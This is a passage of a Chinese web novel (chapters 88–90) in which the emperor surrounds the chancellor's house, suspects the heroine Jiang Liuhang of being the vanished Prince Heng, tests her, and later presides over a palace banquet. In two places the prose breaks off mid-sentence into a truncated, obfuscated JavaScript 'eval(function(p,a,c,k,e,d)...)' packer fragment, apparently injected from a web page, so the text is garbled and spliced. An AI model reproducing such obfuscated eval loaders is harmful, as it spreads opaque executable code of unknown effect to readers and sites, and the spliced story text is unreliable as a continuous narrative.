“是、是那只鸟!”冯简失声惊呼。 当年火场上的那只鸟,在场的每个人都印象深刻。冯简认不出鸟的样子,但记得这特别的声音。他霍地转头,朝皇上看去。 秦信松手,弓箭“哐当”坠地。他僵立在原地,胸膛剧烈起伏,脸上血色褪尽。 “是六航。”他声音嘶哑地道,猛地转向冯简,急声下令,每一个字都像从齿缝里碾磨而出,“集结御林军,即刻回京,围……” “死”字滑到舌尖,被他压了回去,接道,“……牢丞相府!” 他丢下一句,不及唤人,疾步朝马厩去,牵出黑影,才出棚门就上了马背,“驾——!”地一声,急驰而去。 冯简脑子一片混乱,却已本能地翻身上马,紧追上去,一边嘶吼道:“快!跟上皇上!快——!” 刹时,场上喧闹起来,人叫马鸣声,奔跑声,兵器撞击声,混成一片。 —— 官道上,一队人马急驰而过,铁蹄轰鸣,掀起漫天灰尘。 马背上俱为身强体壮的军士,披坚执锐,气势骇人。 冯简跟在主子左侧后,时而偷瞄一眼主子脸色。 他想不通,皇上怎么就由一只鸟,认定那是衡王? 而且,即便那是衡王,难道不该是欢欢喜喜地相认?为何竟要带兵围府?这样子,倒像是去捉拿重犯。 还有,刚才皇上派人转回去叫和尚,又是为何? 秦信没有察觉臣子的偷瞄,他满心里反反复复,只有一个名字:六航、六航、六航…… 那鸟,是六航不知何时养的。 鸟来了。 六航,回来了! 换了一个容貌到了他的身边。 他明明,早就认出了那双眼! 于满心的激动、期盼中,又生出不敢置信的犹疑——真是六航吗?会不会是各种巧合? 继而又生出骇怕和惊疑。 记得八阵图,记得排兵布阵,记得招动物喜欢,却不记得自己是谁吗? 疑点重重的大火,严密无缝的身份……如果真是六航,如果失忆为假,她在谋划什么? 为何要死遁? 此次回来,是有什么事要做吗?丢弃姜帅、衡王的身份,是打算一旦事成,就与故人永诀吗? 不! 脑中许多杂七杂八的念头,只有一个念头无比清晰:无论是因何,他都不能放六航离开! 除了离开,怎样都行。 这段路是他走惯了的,今天却显得那样遥远。 仿佛过了很久很久才到。 御林军训练有素,不需长官多言,迅速地分成几队,从各个方向而去,包抄府邸。守在门口的家仆们见状,吓得脸色煞白,慌忙跑向府内去报信。 秦信从马上翻身而下,死死地盯向丞相府大门。 一道闪电蓦地从天际划过,映得那门一片惨白。 六航,在里面吗? 心里急切地叫嚣着,要冲进去,却又生出深深的害怕,不敢迈步。 他握紧匕首刀柄,仿佛从那里吸取了力量,终于抬脚,向门口疾步而去。 与此同时,府中,满堂瞩目之下,姜子循正高举起一杯酒。 88. 第 88 章 “诸位今日来此,为我贺寿,本相万分感激,先敬诸位一杯!”姜子循高声道。 众人齐齐举杯:“恭贺姜相!” 姜子循持杯到唇边,正要饮下这杯酒,忽然,嘈乱的声音传来,十几个家仆惊慌失措地冲进厅堂,满面惊惧地喊道:“丞相!御林军把我们府围死了!” 姜子循大惊,一时以为自己听错了。 可是,很快,屋内的人都听到了沉重急促的奔跑声,以及甲胄兵器震动的铿锵声,紧接着,无数军士涌进厅堂,迅速散开,把里面的人团团围住。而在几个窗口,也出现了军士的身影,严严实实地堵住出口。 竟是一副严防死守、抄家灭族、不放过一人的架势! 姜子循惊疑不定地望向门口。 在这一瞬间,他脑中走马灯般,转过了千万个念头,把朝中可能陷害他的政敌,可能栽赃给他的罪名,以及若是不能自辩,如何保全家人等等,通通在脑子里过了一遍。 一个人影被军士们簇拥着出现在门口,大踏步而入。 是本应在北郊的皇上。 帝王一脚踏入门内,在门口停下,锐利目光扫向人群,那目光在姜子循脸上没有丝毫停顿,瞬间掠过去了。 姜子循惊诧之余,暗自松了口气。 这阵势不是针对他的。 “皇上!”众人慌忙躬身行礼。 他们还没完全弯下腰,秦信已然动了。他步伐又快又重,袍角翻飞,军士们紧随其后,像一阵风似的刮了过去,站到了一桌前。 姜六航仰头望着立定在面前的人。 他肩背绷得像拉满的弓,下颌线条紧束,脸上肌肉时而抽搐着。 那双凤眸在她眉眼间逡巡,里面翻涌着浪潮。 梁州离别前的那一天,大哥也这样深深地凝视她。 那时她不懂里面太复杂的情绪。 可在此时,她忽然就感受到了扑面而来的情感,怜爱、珍惜、害怕……像浪潮汹涌,将她淹没,一颗心如泡在水里,又胀、又酸、又疼。 突然,面前的人踏上一步,姜六航下意识后退。 那人又往前,姜六航继续后退。 “皇上!”裴佑喊着,横臂拦过来。 秦信微一摆手,冯简会意,剑尖直刺向裴佑的手臂,将她逼开,另有两把刀剑瞬间抵上了她的脖颈与心口,止住她的进一步动作。 堂内响起一片倒抽冷气的声音。 姜六航后背撞上墙壁,再无退路。 眼角余光里,曾、鲁两位指挥制住裴佑,触到她的眼神,面无表情地移开视线。裴佑右手紧握白虹剑柄,嘴唇抿成一条线,似乎在极力克制着不拔出剑来。今日轮休,特意来赴宴,和她同坐一桌的的郑大海无措地站在桌旁。那头,姜大人、王院长、姜守等神情忧急,想要过来,被军士阻住。 面前的人离她只有一臂之距,熟悉的檀香,混着尘土的气息飘过来,滚烫呼吸拂过她的睫毛。 姜六航捏紧衣角,从所未有的慌乱。 大哥,是认出她了吗? 怎么认出来的? 是百分百确认了吗? 不,不能这时爆出身份。 只要没有铁证,就咬死了不认! 六个月,再等六个月就好。 姜六航咬紧牙,抑下心绪,强迫自己抬起眼,目光坚定地迎上去。 对面人失了血色的唇颤抖着翕动,似在念着什么,却使了很大的力气也没出口。 姜六航辨认着他的唇形。 是—— “六六。” 就在姜六航辨出的同时,这两字终于从对面人口中艰难吐出,声音嘶哑得像在沙漠中跋涉几天几夜没喝过水。 姜六航心上像是突然被针扎了个洞,细密的疼痛顺着血流传至全身。 六六—— 那个大哥只敢在她背后,在她睡着时,在她梦中叫出的称呼。 面前的人眼眶发红,手抬起,似要抚上她的脸,却又在半寸处停下,指尖颤抖得厉害。 “六航,是你吗?” 闪电倏地扫过,映出堂内一张张震惊的脸。 伴随着震天的雷声,堂内一片哗然,那些惊讶、疑惑、无措、不敢置信迅速膨胀,弥漫满屋。 众人看看那柔弱风吹就倒的女子,再看向那天下至尊之人,目中满是惊骇。 不得了,皇帝陛下招魂不得,彻底疯了! 面对皇帝的询问,姜六航抿紧唇。 是你吗? 是我! 大哥,是我! 是我是我是我是我是我是我是我!!!!! 指甲刺破掌心,可姜六航脸上没有丝毫变色,竭力稳住声音道:“不是。臣是姜恒。” 秦信定定盯着她的脸,似要从中辨出她话的真假,目光缓缓下移到她的左臂上。 “你的左手臂上,是不是有一颗红痣?” “没有。” “给我看看。” 满堂死寂,落针可闻。 “啪啪啪!”酝酿已久的一场大雨终于倾盆而下,急促的雨点敲打在屋顶上。 姜六航抬起左臂,卷起衣袖,一小块暗红色的疤痕呈现在眼前,仿若多年前留下的一块烫伤旧痕。 对面的呼吸骤然顿住。 “是这里烫伤了,把痣消掉了吗?” “皇上。”一道温婉中含着坚毅的女声响起,在四处望来的视线中,王院长稳稳地站着,道:“小女出生时,那里并无红痣。” 皇帝双眼突地大睁,眸光剧烈颤动,片刻后转向另一边:“陈院使,可有人在生后,身体上再长出痣?” 那声音中含着所有人都可听出的期盼。 陈院使花白的眉毛紧皱,看了姜六航一眼,谨慎地回道:“回皇上,是有这样的情况,但很罕见。” 一旁的越太医迟疑着道:“皇上,臣给姜指挥把过脉,她体内绝无内力。” 众人都听懂了他话中委婉的含义:这人绝不可能是武功高强的衡王。 皇帝却恍如未闻,只对陈院使道:“你来看看她的手,是否有使用重刀的痕迹。” 陈院使走过来,秦信没有退后的意思,姜六航侧身,主动把手伸出去。 陈院使握住她的手细看,又摩挲她的指节。 姜六航不担心陈院使查出什么,早在认亲之前,从庸叔叔就用药水把她手上所有的痕迹都消掉了。现在的这双手,白皙柔软,那些长年累月形成的茧子,那些细小的刻痕,都已不复存在。 “皇上,姜指挥手上没有使用武器的痕迹。”陈院使放开姜六航的手,语气肯定。 明明顺利过关,却不知为何,姜六航心一下纠紧,她下意识地侧头,迅速往那人看去。 皇帝身体猛地一晃,仿佛被无形的重锤击中,脸上血色尽褪,眸中希冀的光焰骤然黯淡,如同彻底熄灭的死灰。 是她,亲手把那里面的光亮扑灭了。 姜六航垂下眼,避开了对面的视线,不敢再对上那眼中的绝望。 秦信怔怔地看着女子。 真像啊,一转眼,一垂眸,像极了。 他的视线向下,落到女子捏着衣角的手——就连这紧张慌乱时不自觉的动作也像。 可是,没有痣,没有内力,没有顶珠茧。 终究,只是他的妄想吗? 可怎会那样巧?正好在痣的位置烫伤了? 还有赤云,赤云性子骄傲,不会对旁人那般亲近,甚至到因不能靠近而发狂的程度。 若是存心隐瞒,可以用药物消除手上茧子,可以散去内力。 嘴会说谎,神情会作假,可是,神魂却骗不了人。 秦信攥紧腰间匕首,眼底那片死灰之中又挣扎着迸出一丝偏执到极致的火星。 两次了。 两次把这女子认作六航,这次他必须彻底查个明白。 正在此时,守在外面的沈以贵进来,目光在堂内一扫,在姜六航脸上极短暂地顿了一下,快步走到秦信身边,禀报道:“皇上,悟尘大师到了。” “让他进来。” 沈以贵领命去唤人。 “悟尘大师可让你魂魄去到过往。”秦信对面前的人道。 姜六航猛然抬眼。 堂内众人惊异的神色,窃窃的低语,秦信全没看见、没听见,他只盯着一臂之处,触手可及的人,哑着声道:“让他帮你,看能否想起以前的事,可好?” 姜六航嘴唇微张,却说不出一个字。 她并不是真的失忆,不想大哥再受一次重击。 忽然一道声音响起:“皇上可是要审问姜指挥?” 众人循声望去,只见姜丞相满面肃穆,直视着皇帝道:“臣听闻,悟尘大师有神通,可于人睡梦中逼问口供,出口皆是真言。刑部有一各种方法用尽,始终不肯开口的犯人,即是悟尘大师用此法,问出其同伙。” 众人俱都大为惊讶,这里面除了极个别人,都是第一次听说此事,纷纷望向谢思礼。却见她靠在桌旁,手扶着椅背,看着场中对站的皇帝和姜指挥两人,面色白得惊人。 “皇上现在,是要用此法审问姜指挥吗?”姜子循又问了一遍。 姜六航起初只以为让悟尘帮助她回忆,想不到竟是这样的操作,惊讶地看向对面的人。 皇帝垂下眸,没和她的视线相触,默然片刻,没答姜子循的话,却向着面前的人解释似的道:“姜指挥放心,此法对神魂并无伤害,也无后患。” 话音刚落,不待姜六航回言,那头姜子循立即紧追着问道:“魂魄之事,玄妙莫测,从来无人能尽窥其秘,悟尘大师又怎能确定,不损害魂魄?” 众人相顾骇然。 姜丞相与其说是质疑悟尘,不如说是当面质问皇上,真是好大的胆。 更让他们没想到的是,姜相竟然步步紧逼:“皇上,这是刑讯,先前的检查,已足以证明姜指挥与衡王无关,若要继续讯问,需得按律条行事。” 他转向谢思礼:“谢尚书,按律例,在事实已然如此清晰的情形下,可能强迫姜指挥继续接受讯问?” 谢思礼按在椅背上的手收紧,面色似又苍白了几分:“按律,不能。” “皇上!”姜子循撩袍跪下,掷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“航航,你假装被他催眠了,他问什么你答什么,回答时声音含糊一点,慢一点。”999叮嘱。 姜六航向后靠在椅背上,闭上眼睛,努力让自己的呼吸变得均匀绵长,模仿入睡的样子。 她能感觉到来自侧方的目光始终未移开,锁定在她的脸上。 “你叫什么名字?” “姜恒。” “叫姜恒之前呢,还叫什么名字?” “不记得了……” “好好地想一想。”那声音引导着,“在你小时候,从床上起来,你娘给你穿衣,梳辫子,她的手轻轻拂过你的身体,温暖、柔软,她温柔地对你笑着,轻轻地唤你,她叫你什么?记起来了吗?” “枕书——” 两字落音的瞬间,侧旁的气息陡然沉凝,仿佛瞬间冻结,紧接着是极力压抑却仍泄露出的粗重呼吸声,如同濒死之人的挣扎。 又问了两个问题后,悟尘拍了下巴掌,姜六航假装醒来,第一时间望向侧旁。 但没等她看清那人的神色,他突然站起,大步向门口走去。途中撞到一把椅子,“砰”地一声巨响,过大的冲撞力使得椅子倒地后又滑出一段才停下,他却像没感觉到疼痛,脚步踉跄着继续往前,逃离般地冲向门口。 姜六航愣了一下,紧追着出门,却只来得及看见他消失在厅堂门口的背影。 军士们跟着撤退,霎时走得干干净净,仿佛从未出现过,只留下一群惊魂未定的宾客。 姜六航僵立在原地,那人直直撞上椅子,踉跄离去的情景,在脑海里一遍遍回放,心脏如同被夹在缝中狠狠地挤压,疼得她指尖发冷,几乎无法呼吸。 突然,她拔腿向门外跑去。 恍惚间,她听见姜大人、王院长唤她,可她跑得太快,把那呼声落在了身后。 她跑出门,顺着走廊跑出院子。 到府门口,她扶着门框停下。 漫天的雨幕倾泻而下,闪电横掠天际,雷声轰鸣。 那人翻身跃上马,马鞭扬起,狠狠抽下,黑影嘶鸣着冲入暴雨之中。马上的身影似乎不稳,晃动了好几下,险些坠落,很快消失在街角。 姜六航抿紧唇,视线模糊,她抬手按住传来一阵阵尖锐疼痛的心口。 雨水随风飘进来,打湿了她的衣襟和面颊。 忽然,有人拉着她后退; 她侧头看过去。 裴佑神色复杂,对着她认真地道:“姜恒,我堂兄心里,即使是妻子,也越不过衡王。你可千万别犯傻,喜欢上他。” 耳边是如注的雨声,眼前是电闪雷鸣,和大哥相处的点点滴滴一幕幕在脑海里闪现——相遇、相近、相知,直至彼此扶持前进。 于这一刻,她豁然开朗,清晰地知道了自己的心意。 不止是亲情。 是爱啊。 那样的一个人,历经苦难,从污泥中爬出来,却心向光明,尽全力给天下安定、温饱、平等,爱她信她护她,让她怎能不沦陷? 她在心里回道:裴佑,迟了。 若能留下,此一生,他不负我,我绝不负他。 89. 第 89 章 当天晚上,姜六航发起了烧。 她没淋着多少雨,可暴雨漫上走廊,鞋袜全部湿透,奔跑中水花四溅,衣裙下面也湿了一大截,虽及时换下,又喝了驱寒的汤药,她虚弱的身体也没抵受住。 从庸叔叔给她诊脉时,她低垂着头,做好了被大骂一顿的心理准备。可半晌没听见从庸叔叔出声,她不由得偷眼瞧去,正好和从庸叔叔闪烁的目光对上。 那样子,分明有许多话要说,却又憋住了。 姜六航讶异万分。 这是怎么了?从庸叔叔要骂人,可不会顾忌姜大人等人在场。 在她的讶然中,孙从庸开了药方,除了交代一些注意事项,没多说一句其它的话,只是又目光复杂微妙地盯了她好几眼,这才走了。 姜六航:“……” 忽然手被握住,她把视线由从庸叔叔背影收回,就见王院长怜爱地看着她,道:“恒儿,你不要多想,先好好养病。” 姜六航应道:“好。” 王院长欲言又止,嘴唇动了好几下,最后道:“恒儿,周大夫说,你这病要一年才能治好,在这中间,不要想其它的,一心一意治病,好不好?” 姜六航察觉出了异常,王院长两次说“不要想”,是怕她想什么? 她目光在家人们脸上依次扫了一遍,唯有姜大人面色如常,余下人都躲闪着她的目光。尤其是姜元,眼神乱飘,躲在大嫂身后。还有平日总是对着她话痨的姜持,这大半天下来,竟没和她说几句话。 发生了什么她不知道的? 不过姜六航只略一思索就没在意此事了。家人们待她如珍似宝,绝不会伤害她。不告诉她,总有道理。 自先前明了自己心意后,这段日子以来的茫然、无措、纠结,通通消散,前路一片通透。正如王院长所言,她现在的主要任务,是摒除一切杂念,好好养病。 至于以后…… 如果能去除体内毒性,自是与故人相认,皆大欢喜。若是必须离开,她会努力过好新的生活。 姜六航向家人们再三保证,她以后必定好生休养,把身体放在第一位,清心静气,不受任何外事干扰。 姜子循等人见她面色真挚,稍稍放下心来。 等家人们离开后,姜六航上床,只十来息就睡着了。 翌日,姜六航没有去上早朝,姜子循亲自为她写好请假折子,往金銮殿去时,又接到一封请假折子,却是谢尚书昨晚病了,今天起不来床。 众人进到殿内等候,到早朝时辰,来的却是冯简,宣布罢朝一日。 姜子循在殿后喊住冯简。 “皇上又怎么了?” 冯简脸色很不好看,隐隐发青。他眼前仿佛又浮现出昨夜密室里,皇上臂上流之不尽的鲜血,鼻间又嗅到了那浓厚的腥味。 “生病了。”他绷着声音道。 姜子循揉了揉眉心。他真觉得,女儿和皇上八字不合,每对上一回,两个人都要生病。 “太医怎么说?” “风寒侵体,最主要是气血攻心,需静心休养。” 姜子循立刻知道这心病从何而来。 他实在不明白,皇上为何就盯上了女儿?女儿和衡王到底哪里像?就因为相似的眼型?还有同样杰出的军事天赋? 以皇上对衡王的执念,女儿和衡王扯上关系,绝不是好事。 好在这回过后,皇上应该是彻底死心了。 可是,女儿她…… 想到这里,姜子循又重重地捏了下眉心,暗自劝慰自己。 年少慕艾,一时心动也是常情。只要见不到人,又得不到对方回应,日子久了,情意自然会淡掉。 只是皇上心情尚未平复,现在不宜和皇上谈女儿调职的事。 再等几日吧。 姜子循嘱咐了几句随时注意皇上情况,和冯简分开。 —— 姜六航在家休养了三日,等病彻底好利索了,这才去上朝。 站在金銮殿外,她瞬即感觉到了四面八方暗暗盯来的目光,像密密的网笼在身上。可等她回看去时,他们又假装若无其事地望天看地,或与身边人交谈。 那眼神似惊异,似怜悯,其丰富的含义,让她想起这几天家人们的欲言又止。只不过,家人们的眼神中,更多的是担忧。 可直觉告诉她,大臣和家人们对着她的这些情状,是因为同一件事。 倒是让她的好奇心猛地涨上来。 “这是怎么了?他们干嘛这样看我?”她拉着裴佑低声问。 裴佑神色古怪,张了张嘴,最终也没说出口:‘这儿人多眼杂,等下值后醉客楼细说。’ 本是约定这月的初三,也就是姜丞相寿宴的第二天,姜六航请裴佑、武成两人在醉客楼吃饭,不想姜六航病了三日,于是推迟到今天下值后。 “行。”姜六航应道。 裴佑:“你不要去问别人。” “为什么?” “我怕你到时候对着人尴尬。” “问你就不尴尬?” “我们是什么关系?哪能和别人比?放心,我不会笑话你。” 姜六航心道:“我做什么可让人笑话的事了?” 说话间,进了殿内。 到早朝时辰,仍然是冯简前来,宣布继续罢朝一日。 大臣们出殿时,议论纷纷。 “罢朝四天了。” “听说是圣体欠安。越太医接连几天都往勤政殿跑。” 姜六航听见,眼神暗了暗。 那天大哥冒雨离去,那样大的雨,焉能不病?有太医照料,应该无妨吧? 离开皇宫,姜六航乘马车到城外,指挥御林军操练。 只是刚到之时,她又接受了一番奇异的目光洗礼。郑大海对着她,憋红了脸,却愣是没说出一句旁的话。 姜六航只作未见,不动声色地加大了训练强度。很快,军士们气喘吁吁,挥汗如雨,再没人偷瞄她。 一天倏忽而过,申时,姜六航到达醉客楼。 不一会,裴佑和武成联袂而至。 “我还只怀疑你曾得过衡王指点,哪知皇上竟疑心你是衡王。”武成坐下,把霸天斧放到旁边椅子上,摇头叹道,“皇上他……” 武成止住后言,但在场的两个人都看得出,她脸上明明白白地写着:怕不是疯了。 裴佑后知后觉:“你怀疑姜恒是衡王徒弟?” 姜六航生怕这个话题深入下去,会牵扯出她无法解释的细节,赶紧转移话题,做出迫不及待的样子对裴佑道:“到底怎么回事?快告诉我。今天走到哪里都被人怪怪地看着。” 裴佑果然忘了追问下去,转回头,清了清嗓子,绘声绘色道:“现在京城到处都在传言,姜指挥心慕皇上,暗恋已久,无法自拔,那日在丞相寿宴上,终于鼓足勇气,向皇上倾诉了满腔情意,结果……咳,被皇上断然拒绝。姜指挥伤心欲绝,随在皇上马后追赶了整整三条长街。其情哀绝,天地有感,遂引九天惊雷,倾天河之水,与之同悲。” 姜六航张大了嘴,半晌道:“这谁写的话本?” 她愤愤道:“怎么这样胡说八道?我大门都没迈出,什么时候追三条街了?裴佑,你当时是见着了的。” 裴佑:“我给你解释了,但没人肯信啊。” 姜六航:“那雨呢?皇上离开之前就已经开始下了,和我有什么关系?说什么‘天地有感,与之同悲’,简直荒谬!” 裴佑同仇敌忾,一拍桌子:“荒谬!离谱!” 两人你一言我一语,就京中传言讨伐了一番,武成一直在旁含笑听着,等她们告一段落,才悠悠开口道:“这些追马啊,天地同悲啊,自然是胡说八道,不过,”她话锋微微一顿,唇角噙着一丝意味深长的笑意,“心慕皇上,是真的吧?” 姜六航猛然瞪大眼,脸上有些发烫。 武成实在太敏锐了。只因她从头到尾没对“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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好一会,姜六航才止了咳嗽,用武成塞给她的湿巾擦了擦嘴,一把抓住裴佑的手:“还有些什么传言?一并告诉我。” 裴佑一一道来。 “说你很早就喜欢上皇上了,用情之深,已达痴狂的地步。为了能进皇宫到他身边,深研兵法,十数年废寝忘食。” “说你今年之所以千里迢迢从北狄赶回中原,就是为了奔赴到意中人身边,却在途中遭受重创。别的都忘记了,却还牢记着要进皇宫。” “说你闯过关后,狂喜难抑,连一天都等不得,第二天就迫不及待地上朝,只为能尽早觐见圣颜,一解相思之苦。” “还说……” 说了一盏茶功夫,裴佑终于住口,姜六航的脸已经木了。 她这时已经反应过来。满城传言中,关于那天发生的真正石破天惊之事——大哥疑心她是衡王,率兵围府,几番查验,却无一语提及。这些人不敢议论皇上,满腔话语无法宣泄,就逮着她可劲地编排。真真是一群欺软怕硬的家伙! 这些话不会传到大哥耳中吧? 大哥会怎么看她啊?到时对着面,多不好意思啊。光是想象一下那个场景,姜六航就觉得万分尴尬。 正想到这里,她听见裴佑道:“你既对皇上生出情愫,那不日即会被调离京城,你要不要跟我去南境……” 这声入耳,简直把姜六航骇得魂飞魄散,她眼前一黑,抓着裴佑的手猛地用力:“你说什么?调离京城!” 裴佑显然误会了她着急的原因,以为她不舍得离开心上人,眼中现出同情,混杂着恨铁不成钢:“这是皇上的惯例,一旦察觉女官对他抱有君臣之外的情意,即会将其远远地调开。” 姜六航手直发抖。 那怎么行! 她才吃过一次天心草,还要吃两次,必须留在皇宫! 这一顿饭吃得食不知味,散场之后,姜六航匆匆赶回家中,直接往主院走去。 她打算先向姜大人打听一下,皇上有无将她调职的念头。她也才明白自己心意,且之后再没和大哥碰面,他不可能察觉。但这传言满天飞,大哥说不定会直接判定,然后面也不见,一纸谕旨即将她打发出京。 在门口,姜六航听到里面姜大人的声音:“出门在外,不比在家方便,东西都要给恒儿备齐了,周大夫也必是要跟着走的……” 90. 第 90 章 姜六航站在门口,里面姜大人的说话声传来,如一道惊雷直劈入她耳中,让她浑身血液都冻住了。 果真要调出京城? 绝对不行! 她快步进到屋内,来不及行礼就急切地问道:“爹,皇上把我调出京城了?” 见到女儿慌张焦急的神情,姜子循眼中闪过一抹忧思,先安抚道:“没有,这一年你要治病,离远了我和你娘不放心。” 姜六航长吁了一口气,仿若劫后余生。 吓死她了。 “那刚才爹说给我准备行李,是为何?” 姜子循语气和缓:“我今天去禀了皇上,从明天开始,你常驻城外,把全副精力投入到御林军训练,以备来年三月的演武。” “待演武结束后,再看是否调职。” 姜六航心念电转。 明年三月,她得第二次吃下天心草,那时正好是各国使者来朝,她仍在京城,这事不难。 但若演武之后被调离京城,九月就吃不到天心草了。 不过,到六月时,体内毒性能否去除即可大概确定。若是有好结果,她就向大哥坦白,不耽误九月吃天心草。 想定之后,姜六航放松下来,和父母说了一会话告辞。 望着女儿背影消失在门口,王院长忧虑地叹了口气:“你看她听说不用离开京城,那高兴的样子。” 姜子循拍了拍妻子的手,安慰道:“恒儿不是那样钻死胡同的人,若是不能两情相悦,自然会放下。” “但愿如此。” 姜子循敲着膝盖,思索着道:“恒儿以前没有成亲的想法,如今既然动了心思,我们把京城……不,不必局限在京城,大夏各地,只要是合适的儿郎,都仔细地查一查,说不定就能找到一个恒儿喜欢的,忘了……那位。” “好。”王院长点头,“我明天就和儿媳妇做这事,你也各处打听一下。等恒儿忙过这一阵,就可以开始相看了。” 姜子循应下,又交代道:“不必太注重家世,有我在,那人前程不用担心。也不必顾虑家境,我们多多给陪嫁,总不会让恒儿受委屈。关键是要人品好,对恒儿一心一意。”说到这里,他想起来,赶紧又补充一句,“还要长得俊美,恒儿才看得上眼。” 王院长笑着回道:“我晓得。” 姜六航不知在她走后,姜大人和王院长的这番对话,更不知两人已看透她颜狗的实质。她心情轻松地回到自己院子,不久,接到了沈以贵的传信,让她明日不用早朝,直接到城外大校场。 此后的时间,姜六航全心扑在训练军士上,有时忙起来,晚上也不回家,就直接在城外军营里睡下。 光阴倏忽而过,转眼到了年底。 十二月二十四日,宫中大宴。 这天卯时末,姜六航等人先到主院请安,然后一齐出府。 这是年底的最后一次宫宴,之后官署封印,来年正月十六再开印。因圣上恩旨,三品以上官员可携家眷参宴,所以除了姜持,姜府各人今日都要到皇宫去。 姜持挨着姜六航,闷闷不乐,走出院门,才打起精神,握着拳道:“我明年一定要考上武举,到时候就可以和你们一起进皇宫了。” 姜六航立刻鼓励道:“你努力,一定行的!” 姜元也在一旁道:“小姑姑你努力!” “好!”姜持顺手摸了摸他的头。 姜元苦着脸躲开,满眼哀怨,小姑姑怎么也学了大姑姑的坏习惯呢? 姜六航看得笑起来。初见姜元时,一副有板有眼的小大人模样,自从随她在伏龙山闯关后,倒是添了许多活泼, “今天去了皇宫,好好玩!”姜持朝躲到四五步外一脸警惕的侄儿挥挥手。 “嗯!”姜元立刻高兴起来,“我和秦学约好了,到时候去御花园玩。” —— 进殿后,姜家几人分开,各自去自己座前。 郑大海和曾指挥今天轮值,带领军士巡逻,护卫皇宫安全,姜六航和鲁指挥坐在一处。宫人们捧着托盘,把各色点心菜肴摆放到面前的桌案上,又各放了一壶酒。 姜六航不饮酒,把那酒推给鲁指挥。 鲁指挥连声道谢。 之前姜丞相寿宴时,他和曾指挥率御林军围府,虽是听命行事,事后见着了姜六航的面,到底有些不好意思。可姜六航待他们仍如往常,由此两人和姜六航倒是比之前更亲近了些。 巳时,随着内侍的唱和声,圣驾到临,满殿的人立起,齐齐躬身相迎。 秦信在上首落座,往日沉哑的声音也含了一丝悦意:“今日阖宫欢聚,众卿不必拘束,尽情享用佳肴。” 又举起一杯酒:“今岁赖众卿不懈,政通人和,边陲宁靖,仓廪丰实。诸位满饮此杯,愿来年同心协德,再启新章!” 众人齐声应诺,饮下杯中物。 姜六航杯子里是清茶,随众人一起饮下,随后落座。 殿中响起丝竹之声,轻缓柔和,一队舞者随着乐声踏入场中,水袖翻飞,团扇挥舞,一派安乐富贵的场景。 姜六航一心多用,一边欣赏歌舞,一边享用美食,时而就各菜品的滋味和鲁指挥交流几句,很是悠闲得意。 偶尔,她抬眼望向上座。 那人一身明黄皇袍,独坐于御案后,饮酒的时候多,桌上菜肴却没怎么动筷。不过他脸上的神情,是自姜六航重见他以来难得的舒缓。 姜六航不敢多看,目光一触即回。 宴至中途,上座之人扫视场内,对左右道:“如此盛宴,不可无赋。” 姜子循笑着拱手:“请皇上赐题。” “便名《兴元四年十二月大庆殿宴乐赋》吧。” 得到题目,场中自负才学之人纷纷凝神苦思,继而泼墨挥洒。一炷香后,内侍把所有写下的赋文收集起来,呈到御前。 秦信从第一张看起。 一般的时候,他看得很快,扫一眼就搁到了一旁,但有时候会停下来,细细地品读。每当此时,呈上赋文者都暗暗提起心,期待那正被龙目注视的为自己所作。 “众位卿家才思敏捷,文采斐然,朕心甚悦。”上座之人语带赞赏,又道,“尤其是秦修撰之作,锦心绣腹,笔饱墨酣,实为不凡。” 他招手道:“爱卿上前来。” 在众人瞩目之中,秦实站起,穿过宴席,朝上座走去。 身着青色官服的人影从姜六航眼前过去。 她看到追随这身影的目光,有羡慕,有不甘,有嫉妒。 嗡嗡的低声议论充斥耳边。 “圣恩深厚啊。” “只是六品官,皇上却特意恩准携妻儿参宴。” 待人站到案前,秦信赐了一杯酒,命内侍当堂诵读其文章。 抑扬顿挫的声音在殿内回荡。那赋文果真如皇上所说,不同凡响。 姜六航视线在作者脸上转了一圈。若不是亲眼所见,她实难相信,有着一张那样朴厚的脸的人,能写出这样花团锦簇、情文并茂的文章。 姜大人曾说,大哥的诗词也写得极好。莫非秦家人血脉里有这方面的天赋? 她视线不觉转到高踞上位之人的身上。 那人右手置于案上,指节跟着诵读的节奏轻轻敲击,显然对这文章满意至极,沉浸其中。 姜六航心中升起疑惑。 这样喜欢,屡屡令人赋文,却为何自己不写呢?她记得,上辈子所在的世界,历史上有一位皇帝,喜爱诗文,传下数万首御作。大哥完全也可以啊。 姜大人说,大哥接手和州后,事务繁忙,因此无有时间作文,可现在天下大定,却是有时间了啊。 赋文诵完,秦信抚掌赞叹,众人随之恭维。 秦实连连拱手躬身,言语谦逊。 姜六航目光在一众面露赞誉的面庞上扫过,陡然眼神一凝,定在一张山羊须面上。那人盯着秦修撰,目中满是阴戾,射出如狼一样幽绿的光,在那一瞬间,连面色都扭曲了。 但因极其短暂,他很快调整面部表情,恢复如常,除了正关注此处的姜六航敏锐察觉,无人发觉他曾经的失态。 姜六航心里刹时转过数个念头。 秦修撰与裴家因砸马事件结有仇怨,她是知道的。但处罚结果,只是把裴轩的官位降了一级,可裴祥光大人那神情,倒像是两家有不可化解的不共戴天之仇。 这样的恶意,不是第一次。 早在北郊演武时,她就发现了。 再想到护卫在秦家人身侧的龙家人,姜六航思绪不由散发出去。 秦修撰也察觉了,所以才高价聘请护卫吗? 他认为,裴家会下黑手,危及他一家的生命? 高僧对秦家的判命,经过穿越之事后,姜六航不敢全不信。那劫难,竟是来自裴家不成? 姜六航怎么想都觉得不可思议。 这可是皇城脚下,且不说裴祥光有没有这样大的胆子,就为裴轩被降级区区一事,冒这般大的风险,怎么都不值当吧? 但不知怎的,姜六航又忽地想起,历史记载,大哥杀了裴祥光大人。若记载为真,又是因何? 此后,姜六航有意识地注意着裴祥光,又发现了他几次看向秦修撰的目光,闪烁着冰冷的杀机。那杀机深藏于眸底,若不是姜六航着意观察,又感官敏锐,绝察觉不到。 —— 酒又过一巡,圣驾离开。 众人去了一层拘束,纷纷与交好之人闲话,又三两个相邀给上官敬酒。一时间,场上热闹非凡。 御林军的最高统领已随圣驾离开,姜六航和鲁指挥去给左、右卫将军分别敬了一杯酒,刚回到席前坐下,武成和裴佑带着一个小孩子来了。 